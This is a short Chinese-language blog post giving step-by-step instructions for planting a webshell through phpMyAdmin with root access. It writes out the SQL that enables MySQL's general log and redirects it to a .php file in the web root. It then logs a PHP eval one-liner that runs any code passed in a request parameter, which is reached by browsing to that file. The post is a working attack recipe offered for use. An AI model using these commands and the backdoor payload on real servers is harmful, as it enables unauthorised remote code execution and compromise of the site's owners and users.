Myluzh Blog

Strive to become a dream architect.

phpMyAdmin利用日志文件get webshell

发布时间: 2020-3-3 文章作者: myluzh 分类名称: PHP


条件:需要使用root登陆phpmyadmin
0x01开启日志
进入phpmyadmin后,选择变量
1.找到“general log”选择“ON”开启,也可以通过sql语句开启日志
set global general_log='on' 
2.找到“general log file”选项把日志后缀名.log改为.php,把路径改到站点根目录www下面,也可通过执行sql语句,修改日志保存位置 
set global general_log_file='D:/phpstudy_pro/WWW/log.php'
要写日志文件路径必须要知道根路径,否则即使写入了也无法访问,也就自然无法getshell。可以通过sql语句show variables like 'datadir'查询数据库位置,一般情况可以知道根路径。爆路径的方法具体情况具体分析
点击查看原图
 
0x02写入shell

执行sql查询语句,然后php一句话就会被记录到日志文件中。
SELECT"<?php @eval($_REQUEST['a']);?>"
点击查看原图
我们可以查看日志文件,一句话已经被写入:
点击查看原图

0x03拿shell
访问站点WWW目录下保存的日志文件即可
点击查看原图


标签: 渗透 phpMyAdmin 日志 getwebshell

发表评论